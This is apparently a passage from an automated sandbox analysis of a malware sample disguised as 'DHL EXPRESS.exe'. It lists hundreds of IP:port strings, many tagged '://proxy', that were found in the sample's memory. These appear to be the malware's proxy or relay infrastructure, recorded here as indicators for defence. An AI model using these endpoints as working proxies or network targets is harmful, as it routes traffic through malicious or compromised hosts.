Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.98
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.98://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.3.98:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD73D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.35.15
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.35.15://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.35.15:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.36.21
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.36.21://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.36.21:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.38.96
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.38.96://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.38.96:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.53.215
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.53.215://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.53.215:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.67.69.9:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.235:25485
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.235:25485://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB32E000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB3E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.235:43520
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.235:43520://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.235:44374
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.235:44374://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.235:62543
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.235:62543://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.87:15805
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.111.87:15805://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.213.177
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.213.177://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://172.93.213.177:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.216:27138
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.216:27138://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.49:31673
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB3B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.49:31673://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.49:39522
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.49:39522://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC536000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC520000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.49:64309
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC520000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.209.49:64309://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:63614
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.237.43:63614://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAD2D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.250.16:64768
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAD41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.212.250.16:64768://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.224.20.136:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.224.20.136:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.245.49.27
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.245.49.27://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.245.49.27:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.29.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.29.243:9123
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.29.243:9123://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:64873
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.249.33.122:64873://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.44.141.179:2001
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://173.44.141.179:2001://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC4BA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.100.109.131:10019
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.100.109.131:10019://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.126.217.110
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.126.217.110://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.126.217.110:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.136.57.169:30453
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.136.57.169:30453://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.138.114.226
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.138.114.226://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.138.114.226:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.138.94.117
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.138.94.117://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.138.94.117:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.64.199.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.64.199.79:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.64.199.79:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.64.199.82:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.64.199.82:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.75.211.222:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.75.211.222:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.197:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.197:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.198:49547
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://174.77.111.198:49547://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB522000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB501000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.139.179.65:42580
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.139.179.65:42580://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.183.82.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.183.82.221:8193
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.183.82.221:8193://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC586000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.201.245.187:808
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC607000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.201.245.187:808://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.29.174.242:10800
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://175.29.174.242:10800://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.103.51.24:30421
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.103.51.24:30421://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB962000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB9F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.106.22.125:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB96F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.106.22.125:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.73.102:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.73.102:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.73.99:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.73.99:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.115.79.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.115.79.195:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.115.79.195:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.119.227.65:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.119.227.65:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.192.65.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.192.65.34:5020
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.192.65.34:5020://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.197.144.158:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.197.144.158:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.213.141.107:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.213.141.107:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.241.143.197:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.241.143.197:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.253.53.25
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.253.53.25://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.253.53.25:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.58.96.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.58.96.11:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.58.96.11:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.8.230.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.8.230.197:8187
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.8.230.197:8187://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.88.166.218:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.88.166.218:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.98.81.85:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.98.81.85:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.99.2.43:1081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.99.2.43:1081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.161
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.161.223:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.161.223:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.206
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.206.40:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.206.40:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.89.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.89.10:8090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.125.89.10:8090://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.128.212
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.128.212.190:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.128.212.190:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.131.29.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.131.29.208:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.131.29.208:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.131.29.211:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.131.29.211:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.153.33.94
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.153.33.94://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.153.33.94:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.159.120.74:58080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.159.120.74:58080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.229.210
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.229.210.50:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.229.210.50:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.231.245
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.231.245.182:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.231.245.182:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.194
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.194.157:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.194.157:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.194.158:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.194.158:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.194.226:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.234.194.226:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.5.16:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.5.16:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.5.224:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.5.224:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://177.38.83.242:3177
